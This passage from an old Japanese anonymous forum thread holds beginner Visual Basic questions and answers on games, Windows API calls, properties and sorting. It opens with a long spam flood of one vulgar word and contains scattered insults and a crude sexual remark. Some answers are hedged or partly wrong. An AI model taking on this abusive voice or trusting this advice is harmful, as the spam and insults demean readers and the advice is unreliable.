まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
453デフォルトの名無しさん:2001/01/10(水) 01:29
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ

まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
まんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこまんこ
454D使いβ:2001/01/10(水) 01:51
今読みなおして思ったのだが、
Loop Until (0 <= player) And (player <= 2)
の方がよかったな。それから引き分けはdrawだった。
455デフォルトの名無しさん:2001/01/10(水) 13:38
TreeViewで種類順(アイコンごと)に並べ替えたいのですが
Sortedだとアルファベット順になってしまってうまく出来ません。
何か他に良い方法ありませんか?
456デフォルトの名無しさん:2001/01/10(水) 14:07
>>455
ない
地道に削除&追加
457デフォルトの名無しさん:2001/01/10(水) 14:38
>>456
そうなんですか?
うーん、やってみます。
ありがとうございました。
458デフォルトの名無しさん:2001/01/10(水) 15:51
VBってジャンケンゲームを完成させるのにここまで時間がかかるのか!!
459デフォルトの名無しさん:2001/01/10(水) 16:14
>>458
ソース出さないと完成したことにならんのか?
じゃあ>>446をちょっとだけ改良

Private Sub Command1_Click()

Dim counter As Integer, lose As Integer, draw As Integer, win As Integer
Dim com As Integer, player As Integer
Dim InputWork As String


'勝敗数を0に初期化する
Dim hand(2) As String
hand(0) = "グー": hand(1) = "チョキ": hand(2) = "パー"

Randomize Timer

'時計を使って乱数を出しやすくする
'はじめに1回だけ
win = 0: lose = 0: draw = 0

For counter = 1 To 10
com = Int(Rnd * 3)
Do
InputWork = InputBox("ジャンケンポン")
Loop Until ((StrComp(InputWork, "0") = 0) _
Or (StrComp(InputWork, "1") = 0) _
Or (StrComp(InputWork, "2") = 0)) '文字列として比較


player = Int(InputWork)


MsgBox ("あなたは" & hand(player) & " コンピュータは" & hand(com))
If com = player Then
MsgBox ("あいこです")
draw = draw + 1
ElseIf (com = 0 And player = 2) Or (com = 1 And player = 0) Or (com = 2 And player = 1) Then
MsgBox ("あなたの勝ちです")
win = win + 1
Else
MsgBox ("コンピュータの勝ちです")
lose = lose + 1
End If
Next counter
MsgBox ("勝ち数は" & Str(win) & "負け数は" & Str(lose) & "引き分け数は" & Str(draw))

End Sub
460デフォルトの名無しさん:2001/01/10(水) 17:42
こういうことを云うと実も蓋もないのだが...
全てのガンは、実はInputBoxを使わせているところにあって
(つまりインターフェース設計上の不良だな)
素直に「グー」「チョキ」「パー」というボタンを押させるという
インターフェースであれば、ユーザーにとって分かりやすい上に、
今までのような下らない問題の発生する余地が無かった筈なのだ。
俺ならこのような仕様を提示されたら、まずそれを直させるな。
461デフォルトの名無しさん:2001/01/10(水) 20:05
晒しage
462デフォルトの名無しさん:2001/01/10(水) 23:48
>>460
仕事だったらそうするけど、初心者の練習問題じゃん。
それに使い勝手は悪いけど、実現困難って仕様じゃないし。
っていうか、こんなの直せないようなヤツはゴミ。

匿名掲示板だから軽い気持ちで書くんだろうけど、解答として出した
ソースがバグってるのはみっともないぞ。

もちろん初心者質問スレだから初心者っぽい質問はかまわないが
解答者まで初心者である必要はないだろ。
463VB名無しさん:2001/01/11(木) 10:02
VB7でコマンドライン引数を取ろうとしてるんですけど、やり方がわかりません。
C#のつもりで

  Public Class Hoge
    Public Shared Sub Main(args As String())
    ...

とやったら怒られてしまいました。

もしかして、VBではできないのでしょうか...。
464デフォルトの名無しさん:2001/01/11(木) 11:09
>>463
漏れもそれでずいぶん悩んだ。
引数ありのMainはどうやらだめらしい。

EnvironmentクラスのGetCommandLineArgs()というのを使いなされ。
465デフォルトの名無しさん:2001/01/11(木) 11:18
誰か、すみませんが、C言語の簡単なプログラムを教えて
くださいませんか?
466デフォルトの名無しさん:2001/01/11(木) 11:28
#include <stdio.h>

int main(void)
{
  printf(">>465\n");
  printf("スレ違い。逝ってよし!!\n");
  return 0;
}
467VB名無しさん:2001/01/11(木) 11:36
>>464
激しく感謝!!!できました。

Imports System

Public Class Hoge

  Public Shared Sub Main()
    Dim args As String() = Environment.GetCommandLineArgs

    Dim s As String
    For Each s In args
      Console.WriteLine(s)
    Next
  End Sub

End Class
468名無しさんはプログラマー:2001/01/11(木) 15:55
↑こんなのVBじゃないやい。
469デフォルトの名無しさん:2001/01/11(木) 16:15
フォントのCommonDialogを作ったのですが
スタイルを使わないので消したいのです。
どうすればいいのですか?
470デフォルトの名無しさん:2001/01/11(木) 19:25
VB7.NETはVBがJavaやDelphiと不倫して出来た子です。
どちらの子かわかりません。
#しかし基本的シンタックスは変わらんのな〜。
471デフォルトの名無しさん:2001/01/11(木) 21:49
そんなんするんだったら
もう { } 付けてもアレと変わらんやん・・・
472 :2001/01/12(金) 01:16
VB7.NETってもう発売されてるんでしょうか?
473デフォルトの名無しさん:2001/01/12(金) 02:15
>471
いっそのこと{}もつければよかったのに。
VBあんま使わんけど"Endなんとか"気持ち悪い。
474名無しでGO!:2001/01/15(月) 11:29
すごく単純なことかもしれないのですが。。。
VBAでUSERFORMを複数つくた時に、USERFORM間の変数の共有ってどうやれば
よろしいのでしょうか??
475デフォルトの名無しさん:2001/01/15(月) 13:28
VBでウィンドウにフォーカスが無くても
キーボードを押したときイベントを取れるようにしたくて
(翻訳ソフトでF12押したら翻訳はじめるようなやつ)
色々調べて、以下のようなコードまでは出来たのですが
行き詰まってます。

Public Const WH_KEYBOARD = 2
Public Const VK_ESCAPE = &H1B

Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, LPARAM As Any) As Long

Public Declare Function GetLastError Lib "kernel32" () As Long

Public Type LARGE_INTEGER
  lowpart As Long
  highpart As Long
End Type

'フックハンドル
Public hHook As Long

Public Function KeyboardProc(ByVal code As Long, ByVal wParam As Long, LPARAM As LARGE_INTEGER) As Long
  CallNextHookEx hHook, code, wParam, LPARAM
  If wParam = VK_ESCAPE Then
    '処理
  End If
End Function

Public Sub SetHook()
  'フック設定
  hHook = SetWindowsHookEx(WH_KEYBOARD, AddressOf KeyboardProc, 0, 0)
  If hHook = 0 Then
    hHook = GetLastError()
    'エラー時処理
  End If
End Sub

SetWindowsHookExで、ハンドルが返ってくるはずですが
0が返ってきて成功しません。
次の、GetLastErrorも0が返ってきてよくわかりません。
なんか、根本的に間違っているのでしょうか?
誰か、助けてください。お願いします。
476デフォルトの名無しさん:2001/01/15(月) 14:05
>>475
MSDN曰く

システムフックは共有リソースなので、インストールすると
すべてのアプリケーションに影響を与えます。
システムフック関数は、ダイナミックリンクライブラリ (DLL) 内に
置かなければなりません。

MSDNは「システムフック」を明確に定義していないように見えるが、
文脈からいって、dwThreadIdに0を指定したものを指す。
それとKeyboardProcの最後の引数はLARGE_INTEGER
じゃないんじゃないか?
477デフォルトの名無しさん:2001/01/15(月) 14:54
>>476
よく読み直してみると、その通り書いてありました。
すいません。ありがとうござます。

はぁ、そっか、もっと簡単に出来ると思ったけどな
残念。
478デフォルトの名無しさん:2001/01/15(月) 15:48
>477
フックなんて使わないでHotkeyを登録すれば?ESCが使えたか忘れたけど
479デフォルトの名無しさん:2001/01/16(火) 01:05
480デフォルトの名無しさん:2001/01/17(水) 13:26
VBで任意の周波数の音を再生させたりしたいんだけど、どうすればいいんだろ?
(早い話がシンセみたいなのを作りたい)
481デフォルトの名無しさん:2001/01/17(水) 14:13
VBってwindowsMeだとうまく動作しないというのは
本当でしょうか?
482名無しさんi486:2001/01/17(水) 18:30
>>474
よくわからんが、"proparty let"と"proparty get"使えばできるぞ。
俺はフォーム同士でデータを受け渡す時は、これを使っている。
483デフォルトの名無しさん:2001/01/17(水) 18:35
え?Publicにするだけじゃないの?
484482:2001/01/17(水) 18:39
悪い、"let"では無く、"set"だったかも知れない。
そこは自分に必要な方でやってくれ。
485482:2001/01/17(水) 18:54
>>483
なんでもかんでも、Publicで宣言するな!ばかちん!
486デフォルトの名無しさん:2001/01/18(木) 10:04
あるポート番号を指定して,そこに流れるデータを監視したいんだけど
どうやれば良いんですかね?
487482:2001/01/18(木) 10:39
>>486
Microsoft Comm Controlを使えばできると思う。
詳細はMSDNで調べてね。
488>>480:2001/01/18(木) 11:12
DirectSoundでどうぞ.
適当なサイン波でも用意して,SetFrequancyかな.
489デフォルトの名無しさん:2001/01/18(木) 11:50
>>484
Setメソッドは
Set hoge = hage
って構文で使いたい時だけだったよね?ばかちん!
それからPropertyだよね?ばかちん!
490482:2001/01/18(木) 11:58
>>489さん
ちがうやい!ばかちん!
setはProperty setって使ってくれって意味で書いたんだい!
スペルミスはすまん。俺がばかちん!
491デフォルトの名無しさん:2001/01/18(木) 12:21
みっともないからsageながらやろう。

Property Setで宣言したプロパティは
Set hoge = hage
って構文で使いたい時に使うから普段の
hoge = hage
の時はLetでいいんだよ。
当然引数もSetはByRefでな。
492482:2001/01/18(木) 12:52
>>491
あ〜なる。
setを使うときはオブジェクトを渡してインスタンスを生成する時だったな。
すまん、全面的に俺がばかちん!
493デフォルトの名無しさん:2001/01/18(木) 13:06
だから、場合によってはsetも使うじゃん。
俺はあやまる必要ないのではないだろうか?
494デフォルトの名無しさん:2001/01/18(木) 13:29
まぁいいや、で質問者は問題解決したのかな?
495デフォルトの名無しさん:2001/01/18(木) 13:45
VB.NETでは使わなくなる構文らしいからいずれすたれる
知識ではある。書き方もすっきりするし。
(ところでLetはどこいった?Valueは予約語になるのか?)
http://www.microsoft.com/japan/developer/vstudio/nextgen/technology/vb6tovbdotnet.asp

#しっかしいっくらコンバータ用意してもゼッテー混乱するヨナー。
#VBAは関係ないと思ってたらこんなものまで・・・ヤメテクレー!
http://www.zdnet.co.jp/news/0101/17/e_vsa.html
496デフォルトの名無しさん:2001/01/18(木) 16:18
>>495
なるほど、VB.NETではそうなるのか〜
ステートメントが1つになるから、いいんじゃない?
俺は気に入ったけど。
497480:2001/01/18(木) 22:01
>>488
どうもありがとございます
やっぱDirectX使わなくてはいけなのかなあ
なるべくランタイム減らす方針で行きたい場合の良い方法あれば御教授ください
498名無しさんi486:2001/01/19(金) 10:47
APIを使いたいのですが、これを初めにやっとけ、みたいなサンプルは
ありませんでしょうか。Tips教えるサイト見てもなかなか理解できないもので…。
499498:2001/01/19(金) 11:22
自己解決しました。Floodfillというやつを教科書通りにやったらできましたので自信が付きました。
500498:2001/01/19(金) 21:04
Private Sub Form_Click()
a = PlaySound("c:\winnt\media\chattag.wav", 0, SND_ASYNC Or SND_LOOP)
End Sub

と書いたのですがループされてくれません。何故なのでしょうか?
501デフォルトの名無しさん:2001/01/20(土) 01:15
>>500
ちゃんとループするぞ!、しかもプログラム終了してもとまらないじゃないかゴラァ!
502デフォルトの名無しさん:2001/01/20(土) 01:20
>500
VBってそういう書き方で良いのか?
楽だな〜
VCだと c:\\winnt\\media\\chattag.wav って書かないと逝けないんだけど。
503デフォルトの名無しさん:2001/01/20(土) 01:23
c:/winnt/media/chattag.wavって書けば
504500:2001/01/20(土) 09:55
APIの宣言はAPIビューアでコピーしたのを標準モジュールに
貼っただけです。
あと\ではなく/でもできるのですね。
とりあえず過去ログとお勉強サイト廻ってみますね。
505デフォルトの名無しさん:2001/01/20(土) 23:00
インターネットコントロールを使用するときに、BASIC認証のIDとPASSを相手のサーバへ渡すにはどうしたらいいのでしょうか?
サーバはApacheです。
506デフォルトの名無しさん:2001/01/22(月) 18:16
Inet1.URL = "http://username:[email protected]"

もしくは

Inet1.URL = "http://www.hogehoge.com"
Inet1.UserName = "username"
Inet1.Password = "password"

#ホントか〜!?
507デフォルトの名無しさん:2001/01/22(月) 23:14
age
508デフォルトの名無しさん:2001/01/25(木) 20:41
VBのDirectSoundで質問です。

Call m_dsBuffer.Play(0) でループしないで再生するように宣言したのですが何故かループしてしまいます。
何故ですか?

解決方法を教えて下さい。
509デフォルトの名無しさん:2001/01/27(土) 00:14
VB度素人です

DirectXの事で質問させてください。

Directxのゲームを作ってるのですがゲームが進行してクリアー、ゲームオーバー時にタイトル画面に
戻る方法ってどうやったらいいんでしょうか?

Do...loopで大きなループ文を作ろうとしてもうまくいきません。

Directxを最初の状態まで持っていける方法とかあったらいいんですけど。
(リフレッシュみたいなの。)
510デフォルトの名無しさん:2001/01/27(土) 00:15
VB度素人です

DirectXの事で質問させてください。

Directxのゲームを作ってるのですがゲームが進行してクリアー、ゲームオーバー時にタイトル画面に
戻る方法ってどうやったらいいんでしょうか?

Do...loopで大きなループ文を作ろうとしてもうまくいきません。

Directxを最初の状態まで持っていける方法とかあったらいいんですけど。
(リフレッシュみたいなの。)
511デフォルトの名無しさん:2001/01/27(土) 01:31
リフレッシュって一回終了して即座に起動するって事?
512sine:2001/01/27(土) 02:34
3とか4とか、ばっかじゃねえの。
ごめんで済んだら警察イランのじゃっていうのとおんなじ。
調べろですんだら掲示板いらんのじゃ。

調べた?とかいってんならその場でスパッと教えなさい。
どあほう。
513デフォルトの名無しさん:2001/01/27(土) 02:43
>512
まぁまぁ落ちついて。
一発抜いてきなよ!
514名無しさんi486:2001/01/27(土) 04:31
初心者です。
テトリスを作っていて、PictureBoxにマス目を書いて
そこにFloodfillで塗りつぶしているのですが処理落ちして
しまいます。
いい方法ないでしょうか?
515ちょい疑問:2001/01/27(土) 18:36
あるクラスモジュール(HTMLのテキストを入れると、タグごとに配列の中に仕分けしたりするもの)を作成したのですが、そこでのエラーが理解不明で、どなたか分かる方は居りませんか?
エラーの文章は
「同じプロパティに対するプロパティ プロシージャの定義が一致していません。または省略可能なパラメータ、ParamArray が含まれています。」
です。
以下がそーすです。

Private Type HtmlSection
Section_StartPoint As Integer
Section_EndPoint As Integer
Section_Data As String
Section_No As Integer
Section_EditFlag As Boolean
End Type
'/*プロパティ値のプライベート記憶域
Private mHTMLSEC() As HtmlSection
Private mTagCount As Integer
'*/
Public Property Get SECdata(ByVal i As Integer) As String
SECdata = mHTMLSEC(i).Section_Data
End Property

'/*ここから
Public Property Set SECdata(ByVal i As Integer, VALUE As String)
'ここまで*/

mHTMLSEC(i).Section_Data = VALUE
End Property

Property Letにするとエラーなしで通るのですがなぜ??
クラスモジュールの作成に関してまだ初心者なのでProperty Set とProperty Letの違いってなんでしょうか?MSDN見てもいまいち分からなくて…
とりあえずLetを使いましたが、Setだとなぜエラーが出たのでしょうか?
516ちょい疑問:2001/01/27(土) 22:20
514>
動いているテトリスに関してはシェイプなどのコントロールを使ったほうがよいのではと考えました。
何しろ描画が以上に早いので、
LINEDDなんとかとかいうAPIを使って高速に描画したりもできますけど、テトリスぐらいなら、前述の方法で行なう方がよいと思われます。
たしかその方法で私も作りました。(^_^)
517ちょい疑問:2001/01/27(土) 22:22
自分であげあし
誤>何しろ描画が以上に早いので
正>何しろ描画が異常に早いので
518デフォルトの名無しさん:2001/01/27(土) 23:15
>>515
MSDNより簡単に説明しろってか、難しいね(笑)

Property Let はあなたが使っている通り、プロパティに値を
設定するために使います。
Property Set はオブジェクトのインスタンスへの参照を設定
するために使います。
値を取得するのは、どちらもProperty Get

たとえば
Public Property Set SetData(buf As Object)
となっていれば
Set ObjOfYourClass.SetData = buf;
のように、buf(なんかオブジェクト)への参照を設定
するためのメソッドを作るために使います。

つか、これが使えてこそオブジェクト指向。
この意味が分からないなら、クラスを使う意味なしでーす。
(こんな事いったら、またイラン煽りうけそう)
519デフォルトの名無しさん:2001/01/28(日) 05:51
スタートメニューにあるファイル名を指定して実行のように、テキストボックスに
C:\WINDOWS\レッド タイル.bmpなどと入力して、コマンドボタンをクリックすると
指定したファイルがウインドウズで関連付けされたアプリケーションで開くよう
にしたいのですが(出来れば実行ファイルがあるフォルダからの相対アドレスで)
どのようにしたらよいのでしょうか?

すいませんが教えてください。
520デフォルトの名無しさん:2001/01/28(日) 07:04
>519
ShellExecute
521デフォルトの名無しさん:2001/01/28(日) 11:28
実はここって、fjよりも皆親切だったりしないか?(笑
522デフォルトの名無しさん:2001/01/28(日) 11:57
fjなんかと一緒にするなよ・・・。
あそこは自分を正常だと思ってる基地外が多すぎる。
523デフォルトの名無しさん:2001/01/28(日) 12:32
fj < 2ch 安定。
524514:2001/01/28(日) 14:57
>>516
なるほど、使わせていただきたいところですが
もう殆どやってしまいました。
細かいところやりながら挑戦してみるつもりです。
525ちょい疑問:2001/01/28(日) 17:51
>518
ありがとうございました。
なんとか理解しました。
>524
>もう殆どやってしまいました。
とありますけど、ほとんど完成しているっていうことでしょうか。
じつはそうかなーとは思っていたのですが,コメントさせていただきました。
時間をかけて作ったソースを捨てるのはつらいものです。
ただ、時には1から作りなおした方がよい時もありますよ。(仕事以外のプログラムであればその方が勉強になることも…)
でも、やれる所までやるのも楽しいですね。頑張ってください。
526赤子:2001/01/28(日) 18:04
MSDNってメチャみにくいですね
アレがプログラマ的デザイン能力の欠如と言う奴の典型ですか
おかげでサッパリ標準関数すら覚えられません
527デフォルトの名無しさん:2001/01/28(日) 18:26
ふつう、MSDNを見る前に標準関数ぐらい覚えているよ。
528519:2001/01/28(日) 23:19
>>520
どうもMSDNやインターネットで使い方を見ながらやってみます
529デフォルトの名無しさん:2001/02/01(木) 18:23
PictureBoxやImageなどを重ねるとき、表示の優先順位は付けられるのでしょうか。
あとコントロールがPictureBoxの中に入ったり出たりします。よくわかりません。
530529:2001/02/01(木) 19:55
すみません。前面、背面のやり方はわかりました。
コントロールを右クリックしてレイヤーの前面背面のようにやればよいのですね。
しかしいかんせんPictureBoxの中に入るか入らないかのやり方はわかりません。
531デフォルトの名無しさん:2001/02/01(木) 20:32
VBばっかやってちゃ遺憾ゾ。
532529:2001/02/02(金) 03:06
すみません、また自己解決しました。PictureBox上で貼り付けやればいいんですね。
533デフォルトの名無しさん:2001/02/03(土) 01:22
プロシージャから抜けるにはどうすればよいのでしょうか。
534ちょい疑問:2001/02/03(土) 17:16
533>プロシージャから抜けるにはどうすればよいのでしょうか
質問の意味がいまいち分からないけれど
Exit function
Exit sub
Doevents入れまくって、
タイマーで割り込みなど…
ってかんじでしょうか。
もしこれで答えになっていなかったら誰かフォローよろしく(^o^)
535532:2001/02/03(土) 20:43
Exit Subで出来ました。ありがとうございます。
536デフォルトの名無しさん:2001/02/03(土) 21:41
マニュアルを読まないのはユーザーだけで十分だ!!!
537名無しさん:2001/02/03(土) 23:55
f(x)=x^2-4x+3において、f(x)=0をニュートン法と2分割法で解く方法がわかんないんです。

力を貸していただきたいのですが。
538デフォルトの名無しさん:2001/02/04(日) 22:53
MSDNライブラリに載ってるソートのサンプルを見ているんですけど、
・バブル ソート
・セレクション ソート
・シェル ソート
でシェル ソートが一番速いって書いてありますが、

・バブル ソート、セレクション ソートが優位な状況って
どんな時ですか?
539デフォルトの名無しさん:2001/02/04(日) 22:56
>>538
CPUの性能がいい時代に、あまり関係ありません
540デフォルトの名無しさん:2001/02/04(日) 23:14
適当な事言うな。>539
アルゴリズムとデータ構造の選択によってはスピードに数万倍以上差が出る事もあるぞ。
541540:2001/02/04(日) 23:17
やべ、ここVBスレじゃん(笑
542デフォルトの名無しさん:2001/02/04(日) 23:29
>>538
どれも遅いソートです
543539:2001/02/04(日) 23:37
VBで短期間で作るのにいちいちソートなんて考えてる人いるの?
544デフォルトの名無しさん:2001/02/04(日) 23:43
いないです
545ちょい疑問:2001/02/05(月) 13:15
ラディックソート
クイックソート
ヒープソート(ん、用途から考えると違うかな)
これらが早い
クイックソートがお奨めです。
>543
いますよ。がっこの先生とか(笑)
他にもいます。VBしか知らない人とか。その中でオプティマイジングするのは当然でしょ。
自分で公開したソースがバブルソートでソートされてたら素人っぽくて情けないでしょう。
ちょっと見栄はってクイックソートになおした方がいいじゃないですか。
どこを直しましたか?って言われた時ちゃんと高速化の理屈がつくじゃないですか。
たとえバグで遅かったとしても…
>538
シェルソートや他の高度なソートはソースが一発で見て分かりにくい。
バブルソートは分かりやすい事が特徴。
少ないデータのソートを行なう時はシェルソートなんか使いません。
ソースが分かりにくくなるだけだから。
(っていうか私だって高速ソートを空では言えません。言える人はすごいですね。)
速くしたいときは参考書とかMSDNとか眺めながらクイックソートを使い、考えている時はバブルかな。
ある程度勉強したらどっちも関数にまとめとけばOKです。
546デフォルトの名無しさん:2001/02/05(月) 15:41
>>545
>速くしたいときは参考書とかMSDNとか眺めながらクイックソートを使い、考えている時はバブルかな。
>ある程度勉強したらどっちも関数にまとめとけばOKです。

このあたり、あんまり現実に即したアドバイスじゃないな。
VBはどうだか知らないけど、大抵の環境だとソートはライブラリを呼び出すだけ。
ソートの処理を自分で書くことなんてほとんどない。

>(っていうか私だって高速ソートを空では言えません。言える人はすごいですね。)
どうでもいいけど、アルゴリズム本なんかでソートを勉強してれば
クイックソートくらい空で書けるでしょ。
547デフォルトの名無しさん:2001/02/05(月) 15:48
VBで他のプログラム、例えばエクスプローラーが起動された事を知るには、
どのようなコードを書けばよろしいのでしょうか?
どなたかご存知の方、教えて頂けませんでしょうか?
548デフォルトの名無しさん:2001/02/05(月) 16:03
549デフォルトの名無しさん:2001/02/05(月) 21:58
メッセージボックスが表示されてから、タイマーを使って、
5秒後にOKをクリックした状態でメッセージボックスを自動的に終了するには
どのようにしたら宜しいのでしょうか?
550デフォルトの名無しさん:2001/02/07(水) 17:27
データベースにデータを登録するプログラムを作りたいと思っているのですが
ソフトウェアのセットアップのように画面の下に「次へ」や「戻る」のコマンドボタン
があって、画面上部のほうにテキストボックス等を配置して、「次へ」を押すたびに
上部だけ切り替えていくにはどのようにやったらよいのでしょうか
551デフォルトの名無しさん:2001/02/08(木) 17:48
ゲームなどでタイマーのインターバルは最高でどのくらいにしていますか?
自分は今まで100でしたが33にしてみました。
552デフォルトの名無しさん:2001/02/08(木) 17:51
シコシコとVisibleを切り替えるのがいいんじゃないの?
フレームでくくっとくとかして
553デフォルトの名無しさん:2001/02/08(木) 22:29
>>550
ページコントロール
554デフォルトの名無しさん:2001/02/10(土) 22:05
MSDNライブラリの[Platform SDK: Windows Sockets]に出てくる関数が
APIビューアで出てこないんですけど、全部自分で考えて書けってことですか?
555デフォルトの名無しさん:2001/02/10(土) 23:59
age
556デフォルトの名無しさん:2001/02/11(日) 00:28
>549
WSHのコンポーネントでタイマー付きMsgBoxが提供されていたりする...
557名無しさんi486:2001/02/11(日) 19:32
以前にここの掲示板で、プログラムの実行速度の計測は
timeGetTimeよりQueryPerformanceCounterを使ったほうが精度が高いと教えて
もらったんですが、その時にOSのオーバヘッド部を削る処理をしないと正確じゃ
ないって言われたんですけど、その処理は難しいのでしょうか?
558デフォルトの名無しさん:2001/02/13(火) 15:26
RegQueryValueEx関数で、実行時にエラーが出てしまうんですけど
どこが悪いのでしょうか?

strRootKey・・・HKEY_LOCAL_MACHINE
strSubKey・・・SOFTWARE\a
strEntry・・・hoge
-------
  lngnSize = 1024
  strData = String(lngnSize, 0)
  'KeyOpen
  lngRet = RegOpenKeyEx(strRootKey, strSubKey, 0, KEY_READ, lngHandle)
  If lngRet <> ERROR_SUCCESS Then Exit Function
'QueryRead
lngRet = RegQueryValueEx(lngHandle, strEntry, 0, REG_SZ, strData, lngnSize)
If lngRet <> ERROR_SUCCESS Then Exit Function
------
lngRet = RegQueryValueEx・・・実行時に"***を参照しましたがReadになれませんでした"
で終了してしまいます。
559558 :2001/02/13(火) 18:36
解決しました。
RegQueryValueEx(lngHandle, strEntry, 0, REG_SZ, ByVal strData, lngnSize)
560デフォルトの名無しさん:2001/02/13(火) 19:36
久しぶりに自己解決した人見た
561普通のOL:2001/02/17(土) 00:14
右クリックに項目を追加する方法を教えてください。
VBでは無理ですかね?
C何ですかね?
562デフォルトの名無しさん:2001/02/17(土) 02:10
IContextMenu を使うには何を参照設定すればよいのでしょう。
563VB初心者以前:2001/02/18(日) 03:58
完動のはずの画面が、客んとこのネットワークに繋ぐと実行時エラー(ワトソン)発生!
メッセージによると、どうやらメモリの内容をぶち壊してるらしいんだが、
問題の端末を持ち帰って、開発環境のネットワークに接続してもまったく再現されず。

周りのVB使いをつかまえて聞いてみたところ、「根本的解決にならないけど、
ローカル変数をグローバルにすると直ることもあるよ」と言うが、結局直らず。
客んとこと開発環境で差異があるとすれば、オラクルDBを突つく「TUXEDO」とかいう
ミドルウェアの接続先のサーバぐらいだけど、そっちの担当者に原因を求めても
「な訳ねーだろ」と一蹴される始末。

こういう不可解な実行時エラーを追跡するのに、良い方法ってあるんでしょうか?
似たような経験された方、ご意見お願いします。

#支離滅裂で御免なさい
564デフォルトの名無しさん:2001/02/18(日) 13:47
VBを捨てる。(究極)
実行ファイルを細かく分割する。
Set Obj = Nothingで不要なリソースを解放する。
ネットワークに関連があるみたいだからそのドライバを新しいものに
入れ替えてみる。
「デバッグ情報を含む」でコンパイルしてVCのデバッガで追いかけてみる。
565デフォルトの名無しさん:2001/02/18(日) 18:38
会社の先輩が、「値渡し使ったら処理遅くなるから全て参照渡しで渡せ」って
言っているんですけど本当ですか?
566デフォルトの名無しさん:2001/02/18(日) 20:35
>>563
それって、VBが原因か!?
その環境で、実際にどの程度のアプリが動くのか、
そっちのほうが問題では?

どういうアプリをどういう構成でどういう機器に入れてるのか
わからないけど、OSのバージョンとか、設定も大丈夫?
567tanpopo:2001/02/19(月) 04:46

MScommを使ってRS232C:プリンタを制御しようとしてるんですが、
ステータスが上手く拾えません。
何か、手がかりがありましたら、よろしくお願いします。
(MScommを使うこと自体間違いだったりして・・・。)
568デフォルトの名無しさん:2001/02/19(月) 07:50
>>565
やってみれば?
byval と byref使って
569デフォルトの名無しさん:2001/02/19(月) 08:30
>>565
たまーに、そういう人がいるよね(藁
570>561:2001/02/19(月) 12:30
571デフォルトの名無しさん:2001/02/19(月) 22:27
Dim i As Integer
この場合iとAsの間は半角スペースじゃなくタブであけるのが普通
って会社の社長に言われたんですけど本当ですか?
572デフォルトの名無しさん:2001/02/19(月) 22:40
シャチョウノイウコトハキイトケ
573デフォルトの名無しさん:2001/02/20(火) 18:47
誰かVBでCOBOLみたいに、集団項目を使って配列から一気に変数へ
